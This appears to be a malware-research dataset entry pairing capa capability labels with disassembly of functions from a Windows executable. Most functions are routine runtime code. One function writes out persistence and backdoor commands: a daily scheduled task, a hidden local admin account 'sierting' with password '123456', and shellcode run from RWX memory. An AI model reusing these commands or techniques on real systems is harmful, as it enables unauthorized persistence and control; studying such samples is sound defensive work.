joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14007b5c0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
mov rax, qword [0x1400da5c0]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov rsi, rdx
mov rdi, rcx
xor ebx, ebx
mov eax, ebx
lock xadd dword [rcx + 0x30], eax
test eax, eax
jne 0x14007b616
call fcn.14007df80
mov dword [rbp - 0x59], ebx
lea rax, [0x1400da5a0]
mov qword [rbp - 0x51], rax
movups xmm0, xmmword [rbp - 0x59]
movups xmmword [rsi], xmm0
xor eax, eax
jmp 0x14007b706
mov dword [rbp + 0x17], ebx
mov qword [rbp + 0x1f], rbx
mov qword [rbp + 0x27], rbx
lea rcx, [rbp + 0x1f]
call sub.MSVCP140.dll_void___cdecl___ExceptionPtrCreate_void____ptr64_
xorps xmm0, xmm0
movups xmmword [rbp - 0x39], xmm0
movups xmmword [rbp - 0x29], xmm0
movups xmmword [rbp - 0x19], xmm0
movups xmmword [rbp - 9], xmm0
movups xmmword [rbp + 7], xmm0
xor eax, eax
movups xmmword [rbp - 0x59], xmm0
mov qword [rbp - 0x49], rax
lea rax, [rdi + 0x28]
test rdi, rdi
cmove rax, rbx
mov qword [rbp - 0x59], rax
lea rax, [rbp - 0x39]
mov qword [rbp - 0x51], rax
mov ecx, dword [0x1400de65c]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov qword [rbp - 0x49], rax
lea rdx, [rbp - 0x59]
mov ecx, dword [0x1400de65c]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
nop
mov r9, rsi
lea r8, [rbp - 0x39]
mov edx, 0xffffffff
mov rcx, rdi
call fcn.1400690a0
test rax, rax
je 0x14007b6c8
nop dword [rax]
lea rax, [rbx + 1]
cmp rbx, 0xffffffffffffffff
cmove rax, rbx
mov rbx, rax
mov r9, rsi
lea r8, [rbp - 0x39]
mov edx, 0xffffffff
mov rcx, rdi
call fcn.1400690a0
test rax, rax
jne 0x14007b6a0
mov rdx, qword [rbp - 0x49]
mov ecx, dword [0x1400de65c]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
nop
lea rdi, [rbp - 0x39]
mov esi, 0xa
mov rcx, qword [rdi]
test rcx, rcx
je 0x14007b6f0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll__aligned_free]
add rdi, 8
sub rsi, 1
jne 0x14007b6e2
lea rcx, [rbp + 0x1f]
call sub.MSVCP140.dll_void___cdecl___ExceptionPtrDestroy_void____ptr64_
mov rax, rbx
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.140088830
mov rbx, qword [rsp + 0xf0]
add rsp, 0xc0
pop rdi
pop rsi
pop rbp
ret
Function at 0x14007cb00
Capabilities:
Send data
Send data on socket

Disassembly:
push rbx
push rbp
push rsi
push rdi
sub rsp, 0x68
mov rax, qword [0x1400da5c0]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rdi, qword [rsp + 0xb0]
xor ebp, ebp
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], r9d
lea r9, [rsp + 0x50]
mov dword [rsp + 0x50], ebp
call qword [sym.imp.WS2_32.dll_WSASend]
mov esi, eax
call fcn.14006d5d0
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x48], rbx
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rdi], xmm0
mov ecx, dword [rdi]
cmp ecx, 0x40
jne 0x14007cb72
mov dword [rsp + 0x40], 0x2746
jmp 0x14007cb82
cmp ecx, 0x4d2
jne 0x14007cb94
mov dword [rsp + 0x40], 0x274d
call fcn.14006d5d0
mov qword [rsp + 0x48], rax
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rdi], xmm0
test esi, esi
je 0x14007cb9f
mov eax, 0xffffffff
jmp 0x14007cba5
mov eax, dword [rsp + 0x50]
mov dword [rdi], ebp
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140088830
add rsp, 0x68
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x14007d6f0
Capabilities:
Set socket configuration

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x1400da5c0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rdi, r9
mov dword [rsp + 0x28], 1
xor r9d, r9d
mov dword [rsp + 0x20], 0
mov esi, ecx
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14007d767
mov dword [rdi], 0
cmp esi, 0x17
jne 0x14007d762
lea r9, [rsp + 0x40]
mov dword [rsp + 0x40], 0
mov edx, 0x29
mov dword [rsp + 0x20], 4
mov r8d, 0x1b
mov rcx, rax
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rax, rbx
jmp 0x14007d78d
call fcn.14006d5d0
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rsp + 0x30], eax
mov rax, 0xffffffffffffffff
mov qword [rsp + 0x38], rbx
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rdi], xmm0
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140088830
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret
Function at 0x14007dad0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x1400da5c0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r14d, r8d
mov rsi, rdx
mov rbp, rcx
xor r8d, r8d
mov edx, 1
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateEventW]
xor r15d, r15d
mov qword [rsi + 8], rax
mov rdi, rax
test rax, rax
jne 0x14007db4b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8, qword [rsi]
mov edx, 1
mov rcx, rsi
mov ebx, eax
call qword [r8]
mov dword [rsp + 0x34], r15d
mov dword [rsp + 0x30], ebx
call fcn.14006d5d0
mov qword [rsp + 0x38], rax
test ebx, ebx
jne 0x14007dc68
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rbp + 0x10], rax
mov qword [rsi + 0x10], rax
cmp qword [rbp + 0x10], r15
jne 0x14007db9d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8, qword [rsi]
mov edx, 1
mov rcx, rsi
mov ebx, eax
call qword [r8]
mov dword [rsp + 0x34], r15d
mov dword [rsp + 0x30], ebx
call fcn.14006d5d0
mov qword [rsp + 0x38], rax
test ebx, ebx
jne 0x14007dc7a
lea rax, [rsp + 0x40]
mov dword [rsp + 0x40], r15d
mov qword [rsp + 0x28], rax
lea r8, [0x140086110]
mov r9, rsi
mov dword [rsp + 0x20], r15d
mov edx, r14d
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 8], rax
test rax, rax
jne 0x14007dc19
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8, qword [rsi]
mov edx, 1
mov rcx, rsi
mov ebx, eax
call qword [r8]
test rdi, rdi
je 0x14007dbf3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x10]
test rcx, rcx
je 0x14007dc02
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x34], r15d
mov dword [rsp + 0x30], ebx
call fcn.14006d5d0
mov qword [rsp + 0x38], rax
test ebx, ebx
jne 0x14007dc56
test rdi, rdi
je 0x14007dc35
mov edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140088830
mov rbx, qword [rsp + 0x98]
add rsp, 0x50
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
lea rdx, str.thread
lea rcx, [rsp + 0x30]
call fcn.1400696d0
int3
lea rdx, str.thread.entry_event
lea rcx, [rsp + 0x30]
call fcn.1400696d0
int3
lea rdx, str.thread.exit_event
lea rcx, [rsp + 0x30]
call fcn.1400696d0
int3
Function at 0x140086bb0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rsi, r8
mov r14, rdx
mov rbp, rcx
test r8, r8
jg 0x140086bd2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140086be8
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov qword [rsp + 0x28], rbx
mov rbx, rsi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const___ptr64]
test rax, rax
je 0x140086c32
cmp rax, rsi
mov rdi, rsi
mov rcx, rbp
cmovb rdi, rax
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const___ptr64]
mov r8, rdi
mov rcx, r14
mov rdx, rax
call sub.VCRUNTIME140.dll_memcpy
mov edx, edi
mov rcx, rbp
add r14, rdi
sub rbx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int____ptr64]
cmp qword [rbp + 0x80], 0
mov rdi, rbx
je 0x140086ca1
mov rcx, rbp
call fcn.14005f270
cmp rbx, 0xfff
jbe 0x140086c81
mov r9, qword [rbp + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
add r14, rax
mov rdi, rbx
cmp rax, 0xfff
jne 0x140086cba
cmp rbx, rax
ja 0x140086c50
test rdi, rdi
je 0x140086ca1
mov r9, qword [rbp + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rdi, rax
sub rsi, rdi
mov rbx, qword [rsp + 0x28]
mov rax, rsi
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
sub rsi, rbx
jmp 0x140086ca4
Function at 0x140086cc0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r14, rdx
mov rdi, rcx
je 0x140086ce8
add rsp, 0x20
pop r14
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov rbp, rax
test rbx, rbx
jle 0x140086d5c
test rax, rax
jle 0x140086d3c
cmp rbx, rax
mov rcx, rdi
cmovl rbp, rbx
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, rbp
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov edx, ebp
mov rcx, rdi
add r14, rbp
sub rbx, rbp
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
test rbx, rbx
jle 0x140086d5c
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140086d5c
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov rbp, qword [rsp + 0x40]
sub rsi, rbx
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
pop rdi
pop rbx
ret
Function at 0x140089728
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140089772
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140089772
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140089772
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140089772
cmp dword [rcx + 0x84], 0xe
jbe 0x140089772
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140089774
xor al, al
add rsp, 0x28
ret

Function at 0x140089a54
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140089a8e
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140089a93
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140089adc
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14009a410]
cmp byte [rcx + rax], 0
je 0x140089adc
dec r8
sub rdx, 1
jne 0x140089ac2
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x14007669e
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14010ba00
mov rax, rcx
neg rcx
test rax, 7
je 0x14010ba1d
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x14010ba78
test al, 7
jne 0x14010ba10
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x14010ba31
mov rdx, qword [rax - 8]
test dl, dl
je 0x14010baa2
test dh, dh
je 0x14010ba9c
shr rdx, 0x10
test dl, dl
je 0x14010ba96
test dh, dh
je 0x14010ba90
shr rdx, 0x10
test dl, dl
je 0x14010ba8a
test dh, dh
je 0x14010ba84
shr edx, 0x10
test dl, dl
je 0x14010ba7e
test dh, dh
jne 0x14010ba31
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret

Function at 0x140076a04
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x140097050
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.1400969d0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x14009708f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1401b2020]
jmp 0x140097099
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret
Function at 0x140076b58
Capabilities:
Query environment variable

Disassembly:
jmp 0x14012d720
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.14012d550
lea rcx, [rsp + 0x40]
call fcn.14012d6d0
movzx eax, al
test eax, eax
jne 0x14012d768
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.14012d580
mov rax, qword [rsp + 0x70]
jmp 0x14012d939
lea rcx, [rsp + 0x40]
call fcn.14012d6a0
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.14012d640
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.14012d6a0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.1400775f8
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x14012d80e
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.14012d580
mov rax, qword [rsp + 0x80]
jmp 0x14012d939
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.1400768f6
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.1400767bb
lea rcx, [rsp + 0x48]
call fcn.14007645a
movzx eax, al
test eax, eax
jne 0x14012d875
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.1400757cb
lea rcx, [rsp + 0x40]
call fcn.14012d580
mov rax, qword [rsp + 0x88]
jmp 0x14012d939
lea rcx, [rsp + 0x48]
call fcn.140076e32
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.14012d6a0
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.1400775f8
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x14012d90b
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.1400757cb
lea rcx, [rsp + 0x40]
call fcn.14012d580
mov rax, qword [rsp + 0xa0]
jmp 0x14012d939
lea rcx, [rsp + 0x48]
call fcn.140076793
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.1400757cb
lea rcx, [rsp + 0x40]
call fcn.14012d580
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret

Function at 0x140076b67
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x140096f80
mov qword [rsp + 8], rcx
sub rsp, 0x48
call fcn.140096950
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140096fc1
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1401b2020]
jmp 0x140096fc7
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
add rsp, 0x48
ret
Function at 0x140076bee
Capabilities:
Get geographical location

Disassembly:
jmp 0x140110440
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
call fcn.14010f370
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1401104a7
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
movabs r10, 0xe375262d7cd44270
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x40]
call qword [0x1401b2030]
jmp 0x1401104c9
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.1400763fb
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
add rsp, 0x58
ret

Function at 0x140076c02
Capabilities:
Terminate process

Disassembly:
jmp 0x14007da60
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x140076ddd
Capabilities:
Print debug messages

Disassembly:
jmp 0x14014ddc0
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x30]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x30], 0
jne 0x14014dde6
jmp 0x14014de63
mov rcx, qword [rbp + 0x30]
call fcn.14007669e
inc rax
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x14014ddff
jmp 0x14014de63
mov rax, qword [rbp]
shl rax, 1
mov rcx, rax
add rcx, 0xf
cmp rcx, rax
ja 0x14014de1c
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.140075924
sub rsp, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 8], rax
mov rax, qword [rbp]
dec rax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x30]
mov r8, qword [rbp]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.140075cee
test eax, eax
jne 0x14014de63
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.140076883
lea rsp, [rbp + 0x20]
pop rbp
ret
Function at 0x14007701c
Capabilities:
Create process on windows

Disassembly:
jmp 0x140148a70
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x128
lea rcx, [rsp + 0xe8]
call fcn.1400762e3
lea rcx, [rsp + 0xb8]
call fcn.1400762e3
lea rcx, [rsp + 0x88]
call fcn.1400762e3
call fcn.140076b08
mov r8d, eax
lea rdx, [rsp + 0xe8]
mov rcx, qword [rsp + 0x130]
call fcn.1400760f9
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x140148b12
mov dword [rsp + 0x54], 0
lea rcx, [rsp + 0x88]
call fcn.1400765d1
lea rcx, [rsp + 0xb8]
call fcn.1400765d1
lea rcx, [rsp + 0xe8]
call fcn.1400765d1
mov eax, dword [rsp + 0x54]
jmp 0x140148cb8
call fcn.140076b08
mov r8d, eax
lea rdx, [rsp + 0xb8]
mov rcx, qword [rsp + 0x138]
call fcn.1400760f9
mov dword [rsp + 0x58], eax
cmp dword [rsp + 0x58], 0
je 0x140148b72
mov dword [rsp + 0x5c], 0
lea rcx, [rsp + 0x88]
call fcn.1400765d1
lea rcx, [rsp + 0xb8]
call fcn.1400765d1
lea rcx, [rsp + 0xe8]
call fcn.1400765d1
mov eax, dword [rsp + 0x5c]
jmp 0x140148cb8
mov qword [rsp + 0x70], 0
cmp qword [rsp + 0x168], 0
je 0x140148bf8
call fcn.140076b08
mov r8d, eax
lea rdx, [rsp + 0x88]
mov rcx, qword [rsp + 0x168]
call fcn.1400760f9
mov dword [rsp + 0x60], eax
cmp dword [rsp + 0x60], 0
je 0x140148be6
mov dword [rsp + 0x64], 0
lea rcx, [rsp + 0x88]
call fcn.1400765d1
lea rcx, [rsp + 0xb8]
call fcn.1400765d1
lea rcx, [rsp + 0xe8]
call fcn.1400765d1
mov eax, dword [rsp + 0x64]
jmp 0x140148cb8
lea rcx, [rsp + 0x88]
call fcn.14007626b
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0xb8]
call fcn.14007626b
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0xe8]
call fcn.14007626b
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x158]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x150]
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0x148]
mov r8, qword [rsp + 0x140]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [rsp + 0x68], eax
lea rcx, [rsp + 0x88]
call fcn.1400765d1
lea rcx, [rsp + 0xb8]
call fcn.1400765d1
lea rcx, [rsp + 0xe8]
call fcn.1400765d1
mov eax, dword [rsp + 0x68]
add rsp, 0x128
ret
Function at 0x1400771a2
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x14007c1e0
push rbp
push rsi
push rdi
mov eax, 0x18b0
call fcn.140075924
sub rsp, rax
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x49c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x1868], rax
lea rcx, [0x1401b10ae]
call fcn.140078278
nop
mov r8d, 0x104
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
nop
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x104
lea rax, [rbp + 0x270]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
lea r8, [rbp + 0x10]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
nop
lea rcx, [rbp + 0x270]
call fcn.1400777ab
nop
lea rax, str.dingshi
mov qword [rbp + 0x398], rax
mov r9, qword [rbp + 0x398]
lea r8, str.schtasks__query__tn___s_
mov edx, 0x104
lea rcx, [rbp + 0x3c0]
call fcn.140076d8d
nop
lea rcx, [rbp + 0x3c0]
call fcn.14007679d
mov dword [rbp + 0x4e4], eax
cmp dword [rbp + 0x4e4], 0
je 0x14007c30f
lea rax, [rbp + 0x270]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x398]
lea r8, str.schtasks__create__tn___s___tr___s___sc_daily__st_08:00
mov edx, 0x168
lea rcx, [rbp + 0x510]
call fcn.140076d8d
nop
lea rcx, [rbp + 0x510]
call fcn.14007679d
nop
lea rcx, [0x14016b520]
call fcn.1400767f7
nop
lea r8, str.net_user_sierting__123456__add
mov edx, 0x3e8
lea rcx, [rbp + 0x6a0]
call fcn.140076d8d
nop
lea rcx, [rbp + 0x6a0]
call fcn.14007679d
nop
lea r8, str._net_localgroup_administrators_sierting____add
mov edx, 0x3e8
lea rcx, [rbp + 0xab0]
call fcn.140076d8d
nop
lea rax, [rbp + 0xec0]
lea rcx, [0x14016b5a0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x37c
rep movsb byte [rdi], byte [rsi]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x37c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x1258], rax
mov r8d, 0x37c
lea rdx, [rbp + 0xec0]
mov rcx, qword [rbp + 0x1258]
call fcn.140076888
nop
call qword [rbp + 0x1258]
nop
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x40]
lea rdx, [0x14016b360]
call fcn.14007799a
mov eax, edi
mov rcx, qword [rbp + 0x1868]
xor rcx, rbp
call fcn.140076883
lea rsp, [rbp + 0x1870]
pop rdi
pop rsi
pop rbp
ret
Function at 0x140077283
Capabilities:
Parse pe header

Disassembly:
jmp 0x14007edb0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14007edd0
xor al, al
jmp 0x14007ee51
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14007ede3
xor al, al
jmp 0x14007ee51
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14007ee0d
xor al, al
jmp 0x14007ee51
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14007ee21
xor al, al
jmp 0x14007ee51
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14007ee33
xor al, al
jmp 0x14007ee51
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14007ee4f
xor al, al
jmp 0x14007ee51
mov al, 1
add rsp, 0x38
ret
